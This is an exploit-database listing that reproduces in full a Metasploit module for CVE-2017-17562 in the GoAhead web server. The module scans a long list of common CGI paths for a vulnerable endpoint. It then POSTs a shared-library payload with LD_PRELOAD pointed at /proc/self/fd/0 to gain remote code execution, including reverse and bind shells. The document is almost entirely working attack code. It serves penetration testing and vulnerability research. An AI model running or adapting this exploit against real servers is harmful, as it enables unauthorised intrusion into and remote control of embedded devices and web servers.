GoAhead Web Server 2.5 < 3.6.5 - HTTPd 'LD_PRELOAD' Arbitrary Module Load (Metasploit)

  • 作者: Metasploit
    日期: 2018-01-24
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/43877/
  • ##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Exploit::Remote
    Rank = ExcellentRanking
    
    include Msf::Exploit::Remote::HttpClient
    
    def initialize(info = {})
    super(update_info(info,
    'Name' => 'GoAhead Web Server LD_PRELOAD Arbitrary Module Load',
    'Description'=> %q{
    This module triggers an arbitrary shared library load vulnerability
    in GoAhead web server versions between 2.5 and that have the CGI module
    enabled.
    },
    'Author' =>
    [
    'Daniel Hodson <daniel[at]elttam.com.au>', # Elttam Vulnerability Discovery & Python Exploit
    'h00die',# Metasploit Module
    'hdm', # Metasploit Module
    ],
    'License'=> MSF_LICENSE,
    'References' =>
    [
    [ 'CVE', '2017-17562' ],
    [ 'URL', 'https://www.elttam.com.au/blog/goahead/' ]
    ],
    'Payload' =>
    {
    'Space' => 5000,
    'DisableNops' => true
    },
    'Platform'=> 'linux',
    'Targets' =>
    [
    
    [ 'Automatic (Reverse Shell)',
    { 'Arch' => ARCH_CMD, 'Platform' => [ 'unix' ], 'ReverseStub' => true,
    'Payload' => {
    'Compat' => {
    'PayloadType' => 'cmd_reverse_stub',
    'ConnectionType' => 'reverse',
    }
    }
    }
    ],
    
    [ 'Automatic (Bind Shell)',
    { 'Arch' => ARCH_CMD, 'Platform' => [ 'unix' ], 'BindStub' => true,
    'Payload' => {
    'Compat' => {
    'PayloadType' => 'cmd_bind_stub',
    'ConnectionType' => 'bind'
    }
    }
    }
    ],
    
    [ 'Automatic (Command)',
    { 'Arch' => ARCH_CMD, 'Platform' => [ 'unix' ] }
    ],
    [ 'Linux x86',{ 'Arch' => ARCH_X86 } ],
    [ 'Linux x86_64', { 'Arch' => ARCH_X64 } ],
    [ 'Linux ARM (LE)', { 'Arch' => ARCH_ARMLE } ],
    [ 'Linux ARM64',{ 'Arch' => ARCH_AARCH64 } ],
    [ 'Linux MIPS', { 'Arch' => ARCH_MIPS } ],
    [ 'Linux MIPSLE', { 'Arch' => ARCH_MIPSLE } ],
    [ 'Linux MIPS64', { 'Arch' => ARCH_MIPS64 } ],
    [ 'Linux MIPS64LE', { 'Arch' => ARCH_MIPS64LE } ],
    
    # PowerPC stubs are currently over the 16384 maximum POST size
    # [ 'Linux PPC',{ 'Arch' => ARCH_PPC } ],
    # [ 'Linux PPC64',{ 'Arch' => ARCH_PPC64 } ],
    # [ 'Linux PPC64 (LE)', { 'Arch' => ARCH_PPC64LE } ],
    
    [ 'Linux SPARC',{ 'Arch' => ARCH_SPARC } ],
    [ 'Linux SPARC64',{ 'Arch' => ARCH_SPARC64 } ],
    [ 'Linux s390x',{ 'Arch' => ARCH_ZARCH } ],
    ],
    'DefaultOptions' =>
    {
    'SHELL'=> '/bin/sh',
    },
    'Privileged'=> false,
    'DisclosureDate'=> 'Dec 18 2017', # June 9th, technically, via github commit.
    'DefaultTarget' => 0))
    
    register_options(
    [
    OptString.new('TARGET_URI', [false, 'The path to a CGI script on the GoAhead server'])
    ])
    end
    
    # Setup our mapping of Metasploit architectures to gcc architectures
    def setup
    super
    @@payload_arch_mappings = {
    ARCH_X86=> [ 'x86' ],
    ARCH_X64=> [ 'x86_64' ],
    ARCH_MIPS => [ 'mips' ],
    ARCH_MIPSLE => [ 'mipsel' ],
    ARCH_MIPSBE => [ 'mips' ],
    ARCH_MIPS64 => [ 'mips64' ],
    ARCH_MIPS64LE => [ 'mips64el' ],
    
    # PowerPC stubs are currently over the 16384 maximum POST size
    # ARCH_PPC=> [ 'powerpc' ],
    # ARCH_PPC64=> [ 'powerpc64' ],
    # ARCH_PPC64LE=> [ 'powerpc64le' ],
    
    ARCH_SPARC=> [ 'sparc' ],
    ARCH_SPARC64=> [ 'sparc64' ],
    ARCH_ARMLE=> [ 'armel', 'armhf' ],
    ARCH_AARCH64=> [ 'aarch64' ],
    ARCH_ZARCH=> [ 's390x' ],
    }
    
    # Architectures we don't offically support but can shell anyways with interact
    @@payload_arch_bonus = %W{
    mips64el sparc64 s390x
    }
    
    # General platforms (OS + C library)
    @@payload_platforms = %W{
    linux-glibc
    }
    end
    
    # Use fancy payload wrappers to make exploitation a joyously lazy exercise
    def cycle_possible_payloads
    template_base = ::File.join(Msf::Config.data_directory, "exploits", "CVE-2017-17562")
    template_list = []
    template_type = nil
    template_arch = nil
    
    # Handle the generic command types first
    if target.arch.include?(ARCH_CMD)
    
    # Default to a system() template
    template_type = 'system'
    
    # Handle reverse_tcp() templates
    if target['ReverseStub']
    template_type = 'reverse'
    end
    
    # Handle reverse_tcp() templates
    if target['BindStub']
    template_type = 'bind'
    end
    
    all_architectures = @@payload_arch_mappings.values.flatten.uniq
    
    # Prioritize the most common architectures first
    %W{ x86_64 x86 armel armhf mips mipsel }.each do |t_arch|
    template_list << all_architectures.delete(t_arch)
    end
    
    # Queue up the rest for later
    all_architectures.each do |t_arch|
    template_list << t_arch
    end
    
    # Handle the specific architecture targets next
    else
    template_type = 'shellcode'
    target.arch.each do |t_name|
    @@payload_arch_mappings[t_name].each do |t_arch|
    template_list << t_arch
    end
    end
    end
    
    # Remove any duplicates that may have snuck in
    template_list.uniq!
    
    # Cycle through each top-level platform we know about
    @@payload_platforms.each do |t_plat|
    
    # Cycle through each template and yield
    template_list.each do |t_arch|
    
    
    wrapper_path = ::File.join(template_base, "goahead-cgi-#{template_type}-#{t_plat}-#{t_arch}.so.gz")
    unless ::File.exist?(wrapper_path)
    raise RuntimeError.new("Missing executable template at #{wrapper_path}")
    end
    
    data = ''
    ::File.open(wrapper_path, "rb") do |fd|
    data = Rex::Text.ungzip(fd.read)
    end
    
    pidx = data.index('PAYLOAD')
    if pidx
    data[pidx, payload.encoded.length] = payload.encoded
    end
    
    if %W{reverse bind}.include?(template_type)
    pidx = data.index("55555")
    if pidx
    data[pidx, 5] = datastore['LPORT'].to_s.ljust(5)
    end
    end
    
    if 'reverse' == template_type
    pidx = data.index("000.000.000.000")
    if pidx
    data[pidx, 15] = datastore['LHOST'].to_s.ljust(15)
    end
    end
    
    vprint_status("Using payload wrapper 'goahead-cgi-#{template_type}-#{t_arch}'...")
    yield(data)
    
    # Introduce a small delay for the payload to stage
    Rex.sleep(0.50)
    
    # Short-circuit once we have a session
    return if session_created?
    end
    end
    end
    
    # Start the shell train
    def exploit
    # Find a valid CGI target
    target_uri = find_target_cgi
    return unless target_uri
    
    # Create wrappers for each potential architecture
    cycle_possible_payloads do |wrapped_payload|
    
    # Trigger the vulnerability and run the payload
    trigger_payload(target_uri, wrapped_payload)
    return if session_created?
    end
    end
    
    # Determine whether the target is exploitable
    def check
    # Find a valid CGI target
    target_uri = find_target_cgi
    unless target_uri
    return Exploit::CheckCode::Unknown
    end
    return Exploit::CheckCode::Vulnerable
    end
    
    # Upload and LD_PRELOAD execute the shared library payload
    def trigger_payload(target_uri, wrapped_payload)
    
    res = send_request_cgi({
    'method' => 'POST',
    'uri'=> normalize_uri(target_uri),
    'vars_get' => {
    'LD_PRELOAD' => '/proc/self/fd/0'
    },
    'data' => wrapped_payload
    })
    
    nil
    end
    
    # Find an exploitable CGI endpoint. These paths were identified by mining Sonar HTTP datasets
    def find_target_cgi
    
    target_uris = []
    common_dirs = %W^
    /
    /cgi-bin/
    /cgi/
    ^
    common_exts = ["", ".cgi"]
    common_cgis = %W^
    admin
    apply
    non-CA-rev
    checkCookie
    check_user
    chn/liveView
    cht/liveView
    cnswebserver
    config
    configure/set_link_neg
    configure/swports_adjust
    eng/liveView
    firmware
    getCheckCode
    get_status
    getmac
    getparam
    guest/Login
    home
    htmlmgr
    index
    index/login
    jscript
    kvm
    liveView
    login
    login.asp
    login/login
    login/login-page
    login_mgr
    luci
    main
    main-cgi
    manage/login
    menu
    mlogin
    netbinary
    nobody/Captcha
    nobody/VerifyCode
    normal_userLogin
    otgw
    page
    rulectl
    service
    set_new_config
    sl_webviewer
    ssi
    status
    sysconf
    systemutil
    t/out
    top
    unauth
    upload
    variable
    wanstatu
    webcm
    webmain
    webproc
    webscr
    webviewLogin
    webviewLogin_m64
    webviewer
    welcome
    cgitest
    ^
    
    if datastore['TARGET_URI'].to_s.length > 0
    target_uris << datastore['TARGET_URI']
    end
    
    common_dirs.each do |cgi_dir|
    common_cgis.each do |cgi_path|
    common_exts.each do |cgi_ext|
    target_uris << "#{cgi_dir}#{cgi_path}#{cgi_ext}"
    end
    end
    end
    
    print_status("Searching #{target_uris.length} paths for an exploitable CGI endpoint...")
    
    target_uris.each do |uri|
    if is_cgi_exploitable?(uri)
    print_good("Exploitable CGI located at #{uri}")
    return uri
    end
    end
    
    print_error("No valid CGI endpoints identified")
    return
    end
    
    # Use the output of LD_DEBUG=help to determine whether an endpoint is exploitable
    def is_cgi_exploitable?(uri)
    res = send_request_cgi({'uri' => uri, 'method' => 'POST', 'vars_get' => { 'LD_DEBUG' => 'help' }})
    
    if res
    vprint_status("Request for #{uri} returned #{res.code}: #{res.message}")
    else
    vprint_status("Request for #{uri} did not return a response")
    end
    
    !!(res && res.body && res.body.to_s.include?("LD_DEBUG_OUTPUT"))
    end
    
    # This sometimes determines if the CGI module is enabled, but doesn't seem
    # to return the error to the client in newer versions. Unused for now.
    def is_cgi_enabled?
    return true
    res = send_request_cgi({'uri' => "/cgi-bin"})
    !!(res && res.body && res.body.to_s.include?("Missing CGI name"))
    end
    end